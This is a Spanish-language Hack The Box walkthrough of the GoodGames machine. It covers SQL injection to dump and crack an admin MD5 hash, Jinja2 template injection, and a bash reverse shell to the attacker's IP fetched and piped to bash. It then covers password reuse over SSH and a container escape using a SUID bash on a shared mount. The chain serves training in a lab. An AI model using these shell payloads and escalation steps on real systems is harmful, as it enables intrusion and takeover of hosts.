Resumen
Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada GoodGames, la cual tiene una dificultad easy. Para lograr vulnerarla realizaremos lo siguiente:
- SQLi basada en error.
- SSTI.
- Escaneo de puertos manual.
- Escape de contenedor.
- Utilización de contenedor para escalar privilegios.
Reconocimiento y Enumeración
En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping
:
1
2
3
4
ping -c 1 10.10.11.130
PING 10.10.11.130 (10.10.11.130) 56(84) bytes of data.
64 bytes from 10.10.11.130: icmp_seq=1 ttl=63 time=142 ms
Se observa que existe una correcta conexión con la máquina.
Para realizar un reconocimiento activo se utilizará la herramienta nmap
, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS
el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):
1
sudo nmap -p- -sS --open -min-rate 5000 10.10.11.130 -oG Port
Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:
1
2
PORT STATE SERVICE
80/tcp open http
Realizamos un escaneo de los servicios expuestos utilizando nmap
:
1
sudo nmap -sCV -p80 10.10.11.130 -oN ServiceScan
Como resultado del escaneo tenemos:
1
2
3
4
5
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
Service Info: Host: goodgames.htb
Observamos goodgame.htb, vamos a agregarlo al /etc/hosts por si se aplica un virtual hosting:
1
2
3
4
5
6
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.11.130 goodgames.htb
Vamos el servidor http, vamos a utilizar whatweb para ver que información recolecta:
1
2
whatweb 10.10.11.130
http://10.10.11.130 [200 OK] Bootstrap, Country[RESERVED][ZZ], Frame, HTML5, HTTPServer[Werkzeug/2.0.2 Python/3.9.2], IP[10.10.11.130], JQuery, Meta-Author[_nK], PasswordField[password], Python[3.9.2], Script, Title[GoodGames | Community and Store], Werkzeug[2.0.2], X-UA-Compatible[IE=edge]
Podemos ver que utiliza python, además de werkzeug, el nombre de flask llega a nosotros.
Bien, vamos a ver la web:
Observamos una página de venta de juegos, si la analizamos no encontramos nada, todo redirige hacia arriba. Sin embargo, tenemos dos secciones, la de blog:
Y una zona de tienda:
Para la página de blog, el imput tampoco funciona, asi que nos queda la parte de la tienda, la cual tampoco nos dice mucho.
Queda lo último, lo más interesante que es un panel de login:
Explotación
Vamos a analizar esto en Burpsuite
:
Si intentamos hacer una injección básica de sql, vemos que nos hemos logeado correctamente, asi que vamos a inspeccionar la página logeados:
Vemos una nueva sección de configuración arriba, vamos a entrar:
Pero no tenemos credenciales para esto. Vamos a volver con la injección sql, vamos a intentar enumerar la base de datos. En primer lugar, vamos a ver el número de columnas que tiene la tabla, esto lo haremos utilizando order by y fijándonos en el el campo length de la petición, el cual debería cambiar de acuerdo a las respuestas:
Vamos a ir disminuyendo el número a ver si encontramos diferencias:
Un poco más:
Más:
Podemos ver entonces que con 4 columnas ha cambiado el length de la respuesta, lo que nos quiere decir que deberían ser el total en esta tabla. Vamos a ver:
Vamos a enumerar información ahora que podemos:
Podemos ver que el nombre de la base de datos es main, por lo tanto, vamos a enumerar lo que contiene:
Observamos lo que parecen ser varios nombres de tablas, no sabemos bien pero podemos intuir en base a la experiencia que deben ser blog, blog_comment y user.
Vamos a probar, la tabla user siempre es algo interesante que ver pues puede tener credenciales:
Observamos que hay dentro de la tabla y encontramos que tiene id, email, password y name. Vamos a intentar obtener lo que hay dentro de esta tabla:
Utilizando el groups_concat obtenemos lo que quieremos, en este caso name y contraseña (3a es el : en hexadecimal). Obsevamos dos resultados porque creé una cuenta, sin embargo, esto no sirvió para nada.
Tenemos el nombre admin y lo que parece ser un hash, vamos a ver si se trata de uno:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
hash-identifier "2b22337f218b2d82dfc3b6f77e7cb8ec"
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
Vemos que se puede tratar de MD5, vamos a intentar romperlo con john
:
1
2
3
4
5
6
7
8
9
john --wordlist=/usr/share/wordlists/rockyou.txt hash --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
superadministrator (?)
1g 0:00:00:00 DONE (2023-02-16 10:25) 5.882g/s 20448Kp/s 20448Kc/s 20448KC/s superarely1993..super_haven
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Tenemos la contraseña y el usuario, nos vamos a dirigir al panel de autenticación e intentar entrar:
Hemos entrado correctamente al panel de flask, si nos dirigimos al panel de configuración encontramos una forma de cambiarse el nombre, vamos a cambiarlo a test:
Vemos reflejado nuestro imput allí, como está python y flask vamos a intentar realizar un SSTI:
Si lo enviamos:
Observamos que es vulnerable a SSTI, iremos a la página de PayloadsAllTheThings encontraremos un montón, en nuestro caso será jinja2 porque utiliza python y flask, si lo usamos:
Observamos que el comando se ejecutó correctamente, ahora vamos a ganar acceso a la máquina. Abriremos un servidor en python compartiendo un index.html malicioso, mientras esperamos con netcat una conexión, en el SSTI vamos a realizar una petición a nuesto recurso y pipearlo con bash para así ganar acceso al sistema:
El archivo html es:
1
2
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.17/1234 0>&1
Luego, en el servidor web:
Si hacemos la petición:
1
2
3
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.130 - - [16/Feb/2023 10:38:51] "GET / HTTP/1.1" 200 -
Si vemos el netcat:
1
2
3
4
5
6
7
8
rlwrap nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.130] 53968
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# whoami
whoami
root
Observamos que ha llegado la conexión y somos root, sin embargo, si nos fijamos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@3a453ab39d3d:/backend# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.19.0.2 netmask 255.255.0.0 broadcast 172.19.255.255
ether 02:42:ac:13:00:02 txqueuelen 0 (Ethernet)
RX packets 2904 bytes 457936 (447.2 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2481 bytes 3969428 (3.7 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
No estamos en la máquina víctima, estamos en un contenedor.
Vamos a buscar la flag de usuario:
1
2
3
root@3a453ab39d3d:/home/augustus# cat user.txt
cat user.txt
fac66129ab2b4bc1bd67d5410
¡Bien! Tenemos la flag, ahora tenemos que salir del contenedor.
Escalada de privilegios
Si vemos el passwd:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@3a453ab39d3d:/home/augustus# cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
No existe el usuario augustus.
1
2
3
4
5
6
root@3a453ab39d3d:/home# ls -la
ls -la
total 12
drwxr-xr-x 1 root root 4096 Nov 5 2021 .
drwxr-xr-x 1 root root 4096 Nov 5 2021 ..
drwxr-xr-x 2 1000 1000 4096 Dec 2 2021 augustus
Ni tampoco el grupo 1000, asi que esto nos hace pensar que quizás es una montura desde el equipo real desplegado en un contenedor, si buscamos:
1
2
3
root@3a453ab39d3d:/home# mount | grep augustus
mount | grep augustus
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)
Efectivamente, corresponde a una montura de /home/augustus desde la máquina víctima.
Vamos a enumerar los puertos abiertos de la máquina desde dentro, vamos a tener que hacerlo manual, para ello enviaremos una cadena vacía al /dev/tpc/ipmaquinavictima, si el resultado es exitoso sabemos que está abierto sino estará cerrado:
1
root@3a453ab39d3d:/backend# for port in $(seq 1 1000);do (echo '' > /dev/tcp/172.19.0.1/$port) 2>/dev/null && echo "puerto $port abierto";done
En este caso utilizamos la 172.19.0.1 pues será la máquina víctima real, y mediante el operador and vemos si el puerto está abierto o no, esto lo hacemos para los primeros 1000.
El resultado es:
1
2
3
4
root@3a453ab39d3d:/backend# for port in $(seq 1 1000);do (echo '' > /dev/tcp/172.19.0.1/$port) 2>/dev/null&& echo "puerto $port abierto";done
<ort) 2>/dev/null&& echo "puerto $port abierto";done
puerto 22 abierto
puerto 80 abierto
Vemos que la máquina tiene el puerto 22 abierto, esto no lo podíamos ver desde fuera, vamos a intentar conectarnos por ssh utilizando la credencial que encontramos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
ssh augustus@172.19.0.1
The authenticity of host '172.19.0.1 (172.19.0.1)' can't be established.
ECDSA key fingerprint is SHA256:AvB4qtTxSVcB0PuHwoPV42/LAJ9TlyPVbd7G6Igzmj0.
Are you sure you want to continue connecting (yes/no)? yes
yes
Warning: Permanently added '172.19.0.1' (ECDSA) to the list of known hosts.
augustus@172.19.0.1's password: superadministrator
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
augustus@GoodGames:~$ ifconfig
ifconfig
-bash: ifconfig: command not found
augustus@GoodGames:~$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:f5:13 brd ff:ff:ff:ff:ff:ff
inet 10.10.11.130/24 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:f513/64 scope global dynamic mngtmpaddr
valid_lft 86395sec preferred_lft 14395sec
inet6 fe80::250:56ff:feb9:f513/64 scope link
valid_lft forever preferred_lft forever
3: br-99993f3f3b6b: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:53:4f:28:c4 brd ff:ff:ff:ff:ff:ff
inet 172.19.0.1/16 brd 172.19.255.255 scope global br-99993f3f3b6b
valid_lft forever preferred_lft forever
inet6 fe80::42:53ff:fe4f:28c4/64 scope link
valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:7c:16:fe:f1 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
6: veth4724af8@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-99993f3f3b6b state UP group default
link/ether d2:b4:1d:48:a9:54 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::d0b4:1dff:fe48:a954/64 scope link
valid_lft forever preferred_lft forever
Bien, ha funcionado ahora estamos dentro de la máquina víctima.
Ahora, hay que pensar lo siguiente, tenemos una montura del directorio /home/augustus en el docker, y dentro del docker somos root, lo que podríamos hacer es lo siguiente:
1
2
augustus@GoodGames:~$ cp /bin/bash .
cp /bin/bash .
Copiamos la bash en el directorio /home/augustus y nos devolvemos al contenedor:
1
2
3
4
5
6
7
8
drwxr-xr-x 2 1000 1000 4096 Feb 16 18:14 .
drwxr-xr-x 1 root root 4096 Nov 5 2021 ..
lrwxrwxrwx 1 root root 9 Nov 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 Oct 19 2021 .bash_logout
-rw-r--r-- 1 1000 1000 3526 Oct 19 2021 .bashrc
-rw-r--r-- 1 1000 1000 807 Oct 19 2021 .profile
-rwxr-xr-x 1 1000 1000 1234376 Feb 16 18:14 bash
-rw-r----- 1 root 1000 33 Feb 16 13:07 user.txt
Observamos que tenemos efectivamente la bash aquí pues es una montura, lo que haremos entonces será setearle como usuario root y hacerlo SUID:
1
2
root@3a453ab39d3d:/home/augustus# chown root:root bash
1
2
3
4
5
6
7
8
9
10
11
12
13
root@3a453ab39d3d:/home/augustus# chmod 4755 /bin/bash
chmod 4755 /bin/bash
root@3a453ab39d3d:/home/augustus# ls -la
ls -la
total 1232
drwxr-xr-x 2 1000 1000 4096 Feb 16 18:14 .
drwxr-xr-x 1 root root 4096 Nov 5 2021 ..
lrwxrwxrwx 1 root root 9 Nov 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 Oct 19 2021 .bash_logout
-rw-r--r-- 1 1000 1000 3526 Oct 19 2021 .bashrc
-rw-r--r-- 1 1000 1000 807 Oct 19 2021 .profile
-rwsr-xr-x 1 root root 1234376 Feb 16 18:14 bash
-rw-r----- 1 root 1000 33 Feb 16 13:07 user.txt
Vemos que ahora es el propietario es root y es SUID, volvemos a conectarnos por ssh a la máquina víctima:
1
2
3
4
5
6
7
8
9
10
11
augustus@GoodGames:~$ ls -la
ls -la
total 1232
drwxr-xr-x 2 augustus augustus 4096 Feb 16 18:14 .
drwxr-xr-x 3 root root 4096 Oct 19 2021 ..
-rwsr-xr-x 1 root root 1234376 Feb 16 18:14 bash
lrwxrwxrwx 1 root root 9 Nov 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus 220 Oct 19 2021 .bash_logout
-rw-r--r-- 1 augustus augustus 3526 Oct 19 2021 .bashrc
-rw-r--r-- 1 augustus augustus 807 Oct 19 2021 .profile
-rw-r----- 1 root augustus 33 Feb 16 13:07 user.txt
Aquí la tenemos, entonces simplemente lo usamos:
1
2
3
4
5
augustus@GoodGames:~$ ./bash -p
./bash -p
bash-5.1# whoami
whoami
root
Nos hemos convertido en root.
Ahora vamos a buscar la flag:
1
2
3
4
5
bash-5.1# cd /root/
cd /root/
bash-5.1# cat root.txt
cat root.txt
5b27d5f28150913f91baba
¡Listo! Hemos terminado la máquina.
Nos vemos, hasta la próxima.